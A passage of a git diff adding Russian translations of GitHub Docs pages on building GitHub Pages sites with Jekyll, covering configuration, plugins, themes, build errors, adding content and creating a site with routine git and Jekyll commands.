data variables.product.prodname_pages %} + +Вы можете настроить большинство параметров Jekyll, таких как тема и подключаемые модули сайта, изменив файл *_config.yml*. Дополнительные сведения см. в разделе [Настройка](https://jekyllrb.com/docs/configuration/) в документации по Jekyll. + +Некоторые параметры конфигурации для сайтов {% data variables.product.prodname_pages %} изменять нельзя. + +```yaml +lsi: false +safe: true +source: [your repo's top level directory] +incremental: false +highlighter: rouge +gist: + noscript: false +kramdown: + math_engine: mathjax + syntax_highlighter: rouge +``` + +По умолчанию Jekyll не создает файлы или папки, которые: +- находятся в папке с именем `/node_modules` или `/vendor`; +- начинаются с `_`, `.` или `#`; +- заканчиваются на `~`; +- исключены параметром `exclude` в файле конфигурации. + +Если вы хотите, чтобы Jekyll обрабатывал какой-либо из этих файлов, можно использовать параметр `include` в файле конфигурации. + +## <a name="front-matter"></a>Титульный лист + +{% data reusables.pages.about-front-matter %} + +Вы можете добавить `site.github` в публикацию или на страницу, чтобы добавить на ваш сайт любые метаданные ссылок на репозитории. Дополнительные сведения см. в разделе [Использование `site.github`](https://jekyll.github.io/github-metadata/site.github/) в документации по метаданным Jekyll. + +## <a name="themes"></a>Темы + +{% data reusables.pages.add-jekyll-theme %} Дополнительные сведения см. в разделе [Темы](https://jekyllrb.com/docs/themes/) в документации по Jekyll. + +{% ifversion fpt or ghec %} Вы можете добавить поддерживаемую тему на свой сайт в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделах [Поддерживаемые темы](https://pages.github.com/themes/) на сайте {% data variables.product.prodname_pages %} и [Добавление темы на сайт {% data variables.product.prodname_pages %} с помощью инструмента выбора темы](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser). + +Чтобы использовать любую другую тему Jekyll с открытым кодом, размещенную в {% data variables.product.prodname_dotcom %}, вы можете добавить ее вручную.{% else %} Вы можете добавить тему на ваш сайт вручную.{% endif %} Дополнительные сведения см. в разделе{% ifversion fpt or ghec %} [Темы, размещенные в {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) и{% else %} [Поддерживаемые темы](https://pages.github.com/themes/) на сайте {% data variables.product.prodname_pages %} и{% endif %} [Добавление темы на ваш сайт {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll). + +Вы можете переопределять любые значения по умолчанию вашей темы, изменяя ее файлы. Дополнительные сведения см. в документации по теме и в разделе [Переопределение значений по умолчанию темы](https://jekyllrb.com/docs/themes/#overriding-theme-defaults) документации по Jekyll. + +## <a name="plugins"></a>Подключаемые модули + +Для расширения функциональных возможностей Jekyll на вашем сайте вы можете скачать или создать подключаемые модули Jekyll. Например, подключаемый модуль [jemoji](https://github.com/jekyll/jemoji) позволяет использовать эмодзи {% data variables.product.prodname_dotcom %} на любой странице сайта так же, как вы это делали бы в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Подключаемые модули](https://jekyllrb.com/docs/plugins/) в документации по Jekyll. + +{% data variables.product.prodname_pages %} использует подключаемые модули, которые включены по умолчанию и не могут быть отключены: +- [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript) +- [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout) +- [`jekyll-gist`](https://github.com/jekyll/jekyll-gist) +- [`jekyll-github-metadata`](https://github.com/jekyll/github-metadata) +- [`jekyll-optional-front-matter`](https://github.com/benbalter/jekyll-optional-front-matter) +- [`jekyll-paginate`](https://github.com/jekyll/jekyll-paginate) +- [`jekyll-readme-index`](https://github.com/benbalter/jekyll-readme-index) +- [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings) +- [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links) + +Вы можете включить дополнительные подключаемые модули, добавив зависимость подключаемого модуля в параметр `plugins` в файле *_config.yml*. Дополнительные сведения см. в разделе [Настройка](https://jekyllrb.com/docs/configuration/) в документации по Jekyll. + +Список поддерживаемых подключаемых модулей см. в разделе [Версии зависимостей](https://pages.github.com/versions/) на сайте {% data variables.product.prodname_pages %}. Сведения об использовании для определенного подключаемого модуля см. в документации этого подключаемого модуля. + +{% tip %} + +**Совет.** Чтобы всегда использовать последнюю версию всех подключаемых модулей, поддерживайте своевременное обновление зависимости {% data variables.product.prodname_pages %}. Дополнительные сведения см. в разделах [Тестирование сайта GitHub Pages локально с помощью Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem) и [Версии зависимостей](https://pages.github.com/versions/) на сайте {% data variables.product.prodname_pages %}. + +{% endtip %} + +{% data variables.product.prodname_pages %} не может создавать сайты с помощью неподдерживаемых подключаемых модулей. Если вы хотите использовать неподдерживаемые подключаемые модули, создайте сайт локально, а затем отправьте статические файлы сайта в {% data variables.product.product_name %}. + +## <a name="syntax-highlighting"></a>Выделение синтаксиса + +Чтобы вам было удобнее читать сайт, фрагменты кода на сайтах {% data variables.product.prodname_pages %} выделяются так же, как они выделяются в {% data variables.product.product_name %}. Дополнительные сведения о выделении синтаксиса в {% data variables.product.product_name %} см. в разделе [Создание и выделение блоков кода](/articles/creating-and-highlighting-code-blocks). + +По умолчанию блоки кода на сайте будут выделяться Jekyll. Jekyll использует средство выделения [Rouge](https://github.com/jneen/rouge), совместимое с [Pygments](http://pygments.org/). Средство Pygments устарело и не поддерживается в Jekyll 4. Если в файле *_config.yml* вы укажете Pygments, вместо него будет использоваться Rouge. Jekyll не может использовать какое-либо другое средство выделения синтаксиса, и если вы укажете в файле *_config.yml* другое средство выделения синтаксиса, то во время сборки страницы получите предупреждение. Дополнительные сведения см. в разделе [Сведения об ошибках сборки Jekyll для сайтов {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites). + +Если вы хотите использовать другое средство выделения, например `highlight.js`, необходимо отключить выделение синтаксиса Jekyll, обновив файл *_config.yml* вашего проекта. + +```yaml +kramdown: + syntax_highlighter_opts: + disable : true +``` + +Если тема не содержит каскадные таблицы стилей для выделения синтаксиса, можно создать каскадные таблицы стилей выделения синтаксиса {% data variables.product.prodname_dotcom %} и добавить их в файл проекта `style.css`. + +```shell +$ rougify style github > style.css +``` + +## <a name="building-your-site-locally"></a>Локальное создание сайта + +{% data reusables.pages.test-locally %} diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md new file mode 100644 index 000000000000..ec8a86a0f537 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md @@ -0,0 +1,91 @@ +--- +title: Сведения об ошибках сборки Jekyll для сайтов GitHub Pages +intro: 'Если Jekyll обнаруживает ошибку при создании сайта {% data variables.product.prodname_pages %} локально или на {% data variables.product.product_name %}, вы получите сообщение об ошибке, содержащее дополнительные сведения.' +redirect_from: + - /articles/viewing-jekyll-build-error-messages + - /articles/generic-jekyll-build-failures + - /articles/about-jekyll-build-errors-for-github-pages-sites + - /github/working-with-github-pages/about-jekyll-build-errors-for-github-pages-sites +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Jekyll build errors for Pages +ms.openlocfilehash: c435d7857239ae4a8b1a09c86e10fe12b248a4b2 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147648242' +--- +## Сведения об ошибках сборки Jekyll + +{% ifversion pages-custom-workflow %}Если публикация выполняется из ветви, иногда{% else %}Иногда{% endif %} {% data variables.product.prodname_pages %} не предпринимает попытки создать сайт после отправки изменений в источник публикации сайта.{% ifversion fpt or ghec %} +- Пользователь, отправивший изменения, не проверил свой адрес электронной почты. Дополнительные сведения см. в статье [Проверка адреса электронной почты](/articles/verifying-your-email-address).{% endif %} +- Вы выполняете отправку с помощью ключа развертывания. Если вы хотите автоматизировать отправки в репозиторий сайта, можно вместо этого настроить пользователя компьютера. Дополнительные сведения см. в разделе [Управление ключами развертывания](/developers/overview/managing-deploy-keys#machine-users). +- Вы используете службу CI, которая не настроена для сборки источника публикации. Например, Travis CI не будет создавать ветвь `gh-pages`, если вы не добавите эту ветвь в список безопасных объектов. Дополнительные сведения см. в разделе [Настройка сборки](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches) в документации Travis CI или вашей службы CI. + +{% note %} + +**Примечание.** Публикация изменений на сайте после передачи изменений в {% data variables.product.product_name %} может занять до 10 минут. + +{% endnote %} + +{% ifversion build-pages-with-actions %} Если Jekyll при попытке сборки сайта обнаружит ошибку, вы получите сообщение об ошибке сборки. +{% else %} Если Jekyll при попытке сборки сайта обнаружит ошибку, вы получите сообщение об ошибке сборки. Существует два основных типа сообщений об ошибках сборки Jekyll. +- Сообщение "Предупреждение о сборке страницы" означает успешное завершение сборки, но, возможно, необходимо внести изменения, чтобы предотвратить будущие проблемы. +- Сообщение "Сбой сборки страницы" означает, что сборка завершилась неудачно. Если Jekyll может обнаружить причину сбоя, появится описательное сообщение об ошибке. +{% endif %} + +Дополнительные сведения об устранении ошибок сборки см. в разделе [Устранение ошибок сборки Jekyll для сайтов {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites). + +{% ifversion build-pages-with-actions %} +## Просмотр сообщений об ошибках сборки Jekyll с помощью {% data variables.product.prodname_actions %} + +По умолчанию ваш сайт {% data variables.product.prodname_pages %} создается и развертывается с помощью рабочего процесса {% data variables.product.prodname_actions %}, если только вы не настроили сайт {% data variables.product.prodname_pages %} для использования другого средства CI. Чтобы найти потенциальные ошибки сборки, можно проверить выполнение рабочего процесса для сайта {% data variables.product.prodname_pages %}, просмотрев выполнение рабочего процесса репозитория. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)". Дополнительные сведения о повторном запуске рабочего процесса в случае ошибки см. в разделе [Повторное выполнение рабочих процессов и заданий](/actions/managing-workflow-runs/re-running-workflows-and-jobs). +{% endif %} + +{% ifversion build-pages-with-actions %}{% else %} +## Просмотр сбоев сборки репозитория в {% data variables.product.product_name %} + +Вы можете просматривать сбои сборки (но не предупреждения сборки) для сайта в {% data variables.product.product_name %} на вкладке **Параметры** репозитория сайта. +{% endif %} + +## Просмотр сообщений об ошибках сборки Jekyll локально + +Рекомендуется тестировать сайт локально, так как это позволяет просматривать сообщения об ошибках сборки в командной строке и устранять все сбои сборки перед отправкой изменений в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Локальное тестирование сайта {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll). + +## Просмотр сообщений об ошибках сборки Jekyll в запросе на вытягивание + +{% ifversion pages-custom-workflow %}Если публикация выполняется из ветви, при{% else %}При{% endif %} создании запроса на вытягивание для обновления источника публикации на {% data variables.product.product_name %} на вкладке **Проверки** запроса на вытягивание можно просмотреть сообщения об ошибках сборки. Дополнительные сведения см. в разделе [Сведения о проверках состояния](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). + +{% ifversion pages-custom-workflow %}Если публикация выполняется с помощью пользовательского рабочего процесса {% data variables.product.prodname_actions %}, для просмотра сообщений об ошибках сборки в запросе на вытягивание необходимо настроить запуск рабочего процесса по триггеру `pull_request`. В таком случае рекомендуется пропустить все шаги развертывания, если рабочий процесс был активирован событием `pull_request`. Это позволит просматривать ошибки сборки без развертывания на сайте изменений из запроса на вытягивание. Дополнительные сведения см. в статьях "[События, активирующие рабочие процессы](/actions/using-workflows/events-that-trigger-workflows#pull_request)" и "[Выражения](/actions/learn-github-actions/expressions)".{% endif %} + +## Просмотр ошибок сборки Jekyll по электронной почте + +{% ifversion pages-custom-workflow %}Если публикация выполняется из ветви, при{% else %}При{% endif %} отправке изменений в источник публикации на {% data variables.product.product_name %} {% data variables.product.prodname_pages %} произведет попытку создать сайт. Если сборка завершится неудачно, вы получите сообщение по основному адресу электронной почты. {% data reusables.pages.build-failure-email-server %} + +{% ifversion pages-custom-workflow %}Если публикация выполняется с помощью пользовательского рабочего процесса {% data variables.product.prodname_actions %}, для получения сообщений электронной почты об ошибках сборки в запросе на вытягивание необходимо настроить запуск рабочего процесса по триггеру `pull_request`. В таком случае рекомендуется пропустить все шаги развертывания, если рабочий процесс был активирован событием `pull_request`. Это позволит просматривать ошибки сборки без развертывания на сайте изменений из запроса на вытягивание. Дополнительные сведения см. в статьях "[События, активирующие рабочие процессы](/actions/using-workflows/events-that-trigger-workflows#pull_request)" и "[Выражения](/actions/learn-github-actions/expressions)".{% endif %} + +## Просмотр сообщений об ошибках сборки Jekyll в запросе на вытягивание с помощью сторонней службы CI + +Вы можете настроить стороннюю службу, такую как [Travis CI](https://travis-ci.org/), для отображения сообщений об ошибках после каждой фиксации. + +1. Если вы еще этого не сделали, добавьте в корневую папку источника публикации файл с именем _Gemfile_ и со следующим содержимым: + ```ruby + source `https://rubygems.org` + gem `github-pages` + ``` + +2. Настройте репозиторий сайта для выбранной службы тестирования. Например, чтобы использовать [Travis CI](https://travis-ci.org/), добавьте в корневую папку источника публикации файл с именем _.travis.yml_ и со следующим содержимым: + ```yaml + language: ruby + rvm: + - 2.3 + script: "bundle exec jekyll build" + ``` +3. Возможно, потребуется активировать репозиторий со сторонней службой тестирования. Дополнительные сведения см. в документации по вашей службе тестирования. diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md new file mode 100644 index 000000000000..7f0ed8f1ece4 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md @@ -0,0 +1,74 @@ +--- +title: Добавление темы на сайт GitHub Pages с помощью Jekyll +intro: 'Вы можете персонализировать свой сайт Jekyll, добавив и настроив тему оформления.' +redirect_from: + - /articles/customizing-css-and-html-in-your-jekyll-theme + - /articles/adding-a-jekyll-theme-to-your-github-pages-site + - /articles/adding-a-theme-to-your-github-pages-site-using-jekyll + - /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-using-jekyll + - /pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Add theme to Pages site +ms.openlocfilehash: 33969695e96aa0629b2811e2742ca3093e58139a +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147644798' +--- +Пользователи с разрешениями на запись в репозитории могут добавить тему на сайт {% data variables.product.prodname_pages %} с помощью Jekyll. + +{% data reusables.pages.test-locally %} + +## Добавление темы + +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} +2. Перейдите к *_config.yml*. +{% data reusables.repositories.edit-file %} +4. Добавьте в файл новую строку для имени темы. + - Чтобы использовать поддерживаемую тему, введите `theme: THEME-NAME`, заменив _THEME-NAME_ именем темы, как показано в файле README репозитория темы. Полный список поддерживаемых тем см. в разделе [Поддерживаемые темы](https://pages.github.com/themes/) на сайте {% data variables.product.prodname_pages %}. + ![Поддерживаемая тема в файле конфигурации](/assets/images/help/pages/add-theme-to-config-file.png) + - Чтобы использовать любую другую тему Jekyll, размещенную на {% data variables.product.prodname_dotcom %}, введите `remote_theme: THEME-NAME`, заменив THEME-NAME именем темы, как показано в файле README репозитория темы. + ![Неподдерживаемая тема в файле конфигурации](/assets/images/help/pages/add-remote-theme-to-config-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} + +## Настройка CSS-темы + +{% data reusables.pages.best-with-supported-themes %} + +{% data reusables.pages.theme-customization-help %} + +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} +1. Создайте файл под именем _/assets/css/style.scss_. +2. Добавьте следующее содержимое в верхнюю часть файла: + ```scss + --- + --- + + @import "{% raw %}{{ site.theme }}{% endraw %}"; + ``` +3. Добавьте любые пользовательские CSS или Sass (включая импорты) сразу после строки `@import`. + +## Настройка макета HTML-темы + +{% data reusables.pages.best-with-supported-themes %} + +{% data reusables.pages.theme-customization-help %} + +1. Перейдите к исходному репозиторию вашей темы в {% data variables.product.prodname_dotcom %}. Например, исходный репозиторий для темы Minima — https://github.com/jekyll/minima. +2. В папке *_layouts* перейдите к файлу _default.html_ вашей темы. +3. Скопируйте содержимое файла. +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} +6. Создайте файл с именем *_layouts/default.html*. +7. Вставьте скопированное ранее содержимое макета по умолчанию. +8. Настройте макет как вам нужно. + +## Дополнительные материалы + +- [Создание файлов](/articles/creating-new-files) diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md new file mode 100644 index 000000000000..179c5199c3b2 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md @@ -0,0 +1,71 @@ +--- +title: Добавление содержимого на сайт GitHub Pages с помощью Jekyll +intro: 'Можно добавить новую страницу или сделать публикацию на сайте Jekyll в {% data variables.product.prodname_pages %}.' +product: '{% data reusables.gated-features.pages %}' +redirect_from: + - /articles/adding-content-to-your-github-pages-site-using-jekyll + - /github/working-with-github-pages/adding-content-to-your-github-pages-site-using-jekyll +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Add content to Pages site +ms.openlocfilehash: 030e4e7877c091ef3c05acb62bee37b455d5ce6b +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009843' +--- +Люди с разрешениями на запись в репозитории могут добавлять содержимое на сайт {% data variables.product.prodname_pages %} с помощью Jekyll. + +## О содержимом на сайтах Jekyll + +Прежде чем добавлять содержимое на сайт Jekyll в {% data variables.product.prodname_pages %}, необходимо создать сайт Jekyll. Дополнительные сведения см. в разделе [Создание сайта {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/creating-a-github-pages-site-with-jekyll). + +Основными типами содержимого для сайтов Jekyll являются страницы и записи. Страница предназначена для автономного содержимого, которое не связано с определенной датой, как, например, страница "Сведения". Сайт Jekyll по умолчанию содержит файл с именем `about.md`, который отображается как страница на вашем сайте в `YOUR-SITE-URL/about`. Вы можете изменять содержимое этого файла, чтобы персонализировать страницу "Сведения", а также использовать страницу "Сведения" в качестве шаблона для создания новых страниц. Дополнительные сведения см. в разделе [Страницы](https://jekyllrb.com/docs/pages/) в документации Jekyll. + +Запись — это запись блога. Сайт Jekyll по умолчанию содержит каталог с именем `_posts`, в котором находится файл записи по умолчанию. Вы можете изменять содержимое этой записи и использовать запись по умолчанию в качестве шаблона для создания новых записей. Дополнительные сведения см. в разделе [Записи](https://jekyllrb.com/docs/posts/) в документации Jekyll. + +Тема включает макеты по умолчанию, включаемые объекты и таблицы стилей, которые будут автоматически применяться к новым страницам и записям на сайте, но вы можете переопределить любой из этих стандартных объектов. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_pages %} и Jekyll](/articles/about-github-pages-and-jekyll#themes). + +{% data reusables.pages.about-front-matter %} + +{% data reusables.pages.test-locally %} + +## Добавление на сайт новой страницы + +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} +3. В корне источника публикации создайте новый файл для страницы с именем _PAGE-NAME.md_, заменив _PAGE-NAME_ понятным именем файла для страницы. +4. Добавьте следующий заглавный блок YAML в начало файла, заменив _PAGE TITLE_ заголовком страницы, а _URL-PATH_ путем для URL-адреса страницы. Например, если базовый URL-адрес сайта — `https://octocat.github.io`, а ваш _URL-PATH_ — `/about/contact/`, страница будет находиться по адресу `https://octocat.github.io/about/contact`. + ```shell + layout: page + title: "PAGE-TITLE" + permalink: /URL-PATH + ``` +5. Под заглавным блоком добавьте содержимое для страницы. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% data reusables.files.choose_pull_request %} {% data reusables.files.merge_pull_request %} {% data reusables.files.write_commit_message_pull_request %} {% data reusables.files.confirm_merge %} {% data reusables.files.delete_branch %} + +## Добавление на сайт новой записи + +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %} +3. Перейдите к каталогу `_posts`. +4. Создайте новый файл с именем _YYYY-MM-DD-NAME-OF-POST.md_, заменив _YYYY-MM-DD_ датой записи, а _NAME-OF-POST_ — названием записи. +4. Добавьте следующий заглавный блок YAML в начало файла, заменив _POST TITLE_ на заголовок записи, _YYYY-MM-DD hh:mm:ss -0000_ на дату и время записи, а _CATEGORY-1_ и _CATEGORY-2_ — на нужное количество категорий для вашей записи. + ```shell + layout: post + title: "POST-TITLE" + date: YYYY-MM-DD hh:mm:ss -0000 + categories: CATEGORY-1 CATEGORY-2 + ``` +5. Под заглавным блоком добавьте содержимое для записи. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% data reusables.files.choose_pull_request %} {% data reusables.files.merge_pull_request %} {% data reusables.files.write_commit_message_pull_request %} {% data reusables.files.confirm_merge %} {% data reusables.files.delete_branch %} + +Теперь ваша запись должна появиться на вашем сайте! Если базовый URL-адрес вашего сайта — `https://octocat.github.io`, новая публикация будет размещена по адресу `https://octocat.github.io/YYYY/MM/DD/TITLE.html`. + +## Дальнейшие действия + +{% data reusables.pages.add-jekyll-theme %} Дополнительные сведения см. в разделе [Добавление темы на сайт {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll). diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md new file mode 100644 index 000000000000..389f6ada159c --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md @@ -0,0 +1,132 @@ +--- +title: Creating a GitHub Pages site with Jekyll +intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.' +product: '{% data reusables.gated-features.pages %}' +redirect_from: + - /articles/creating-a-github-pages-site-with-jekyll + - /github/working-with-github-pages/creating-a-github-pages-site-with-jekyll +permissions: 'People with admin permissions for a repository can create a {% data variables.product.prodname_pages %} site with Jekyll.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Create site with Jekyll +--- + +{% data reusables.pages.org-owners-can-restrict-pages-creation %} + +## Prerequisites + +Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)." + +{% data reusables.pages.recommend-bundler %} + +{% data reusables.pages.jekyll-install-troubleshooting %} + +## Creating a repository for your site + +{% data reusables.pages.new-or-existing-repo %} + +{% data reusables.repositories.create_new %} +{% data reusables.repositories.owner-drop-down %} +{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} +{% data reusables.pages.create-repo-name %} +{% data reusables.repositories.choose-repo-visibility %} + +## Creating your site + +{% data reusables.pages.must-have-repo-first %} + +{% data reusables.pages.private_pages_are_public_warning %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository. + ```shell + $ cd PARENT-FOLDER + ``` +1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository. + ```shell + $ git init REPOSITORY-NAME + > Initialized empty Git repository in /Users/octocat/my-site/.git/ + # Creates a new folder on your computer, initialized as a Git repository + ``` + 4. Change directories to the repository. + ```shell + $ cd REPOSITORY-NAME + # Changes the working directory + ``` +{% data reusables.pages.decide-publishing-source %} +{% data reusables.pages.navigate-publishing-source %} + For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder. + ```shell + $ mkdir docs + # Creates a new folder called docs + $ cd docs + ``` + If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch. + ```shell + $ git checkout --orphan gh-pages + # Creates a new branch, with no history or contents, called gh-pages, and switches to the gh-pages branch + $ git rm -rf . + # Removes the contents from your default branch from the working directory + ``` +1. To create a new Jekyll site, use the `jekyll new` command: + ```shell + $ jekyll new --skip-bundle . + # Creates a Jekyll site in the current directory + ``` +1. Open the Gemfile that Jekyll created. +1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line. +1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to: + + ```shell + gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins + ``` + + Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)." + + The correct version Jekyll will be installed as a dependency of the `github-pages` gem. +1. Save and close the Gemfile. +1. From the command line, run `bundle install`. +1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory. For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)." + ```yml + domain: my-site.github.io # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com + url: https://my-site.github.io # the base hostname and protocol for your site, e.g. http://example.com + baseurl: /REPOSITORY-NAME/ # place folder name if the site is served in a subfolder + ``` +1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)." +1. Add and commit your work. +```shell +git add . +git commit -m 'Initial GitHub pages site with Jekyll' +``` +1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository. +```shell +{% ifversion fpt or ghec %} +$ git remote add origin https://github.com/USER/REPOSITORY.git +{% else %} +$ git remote add origin https://HOSTNAME/USER/REPOSITORY.git +{% endif %} +``` +1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on. + ```shell + $ git push -u origin BRANCH + ``` +{% data reusables.pages.configure-publishing-source %} +{% data reusables.pages.navigate-site-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.pages.sidebar-pages %} +{% data reusables.pages.choose-visibility %} +{% data reusables.pages.visit-site %} +{% data reusables.pages.check-workflow-run %} + +{% data reusables.pages.admin-must-push %} + +## Next steps + +To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)." + +{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)." diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md new file mode 100644 index 000000000000..6c1e3e9f7d24 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md @@ -0,0 +1,34 @@ +--- +title: Настройка сайта GitHub Pages с помощью Jekyll +intro: 'Для дальнейшей настройки сайта {% data variables.product.prodname_pages %} можно использовать Jekyll — популярный генератор статических сайтов.' +redirect_from: + - /articles/using-jekyll-with-pages + - /articles/using-jekyll-as-a-static-site-generator-with-github-pages + - /articles/setting-up-a-github-pages-site-with-jekyll + - /github/working-with-github-pages/setting-up-a-github-pages-site-with-jekyll +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +children: + - /about-github-pages-and-jekyll + - /creating-a-github-pages-site-with-jekyll + - /testing-your-github-pages-site-locally-with-jekyll + - /adding-content-to-your-github-pages-site-using-jekyll + - /setting-a-markdown-processor-for-your-github-pages-site-using-jekyll + - /adding-a-theme-to-your-github-pages-site-using-jekyll + - /about-jekyll-build-errors-for-github-pages-sites + - /troubleshooting-jekyll-build-errors-for-github-pages-sites +shortTitle: Set up site with Jekyll +ms.openlocfilehash: 69b4b5c22bd13d57b4f37caa1bc8a5e350c8385d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137870' +--- + diff --git 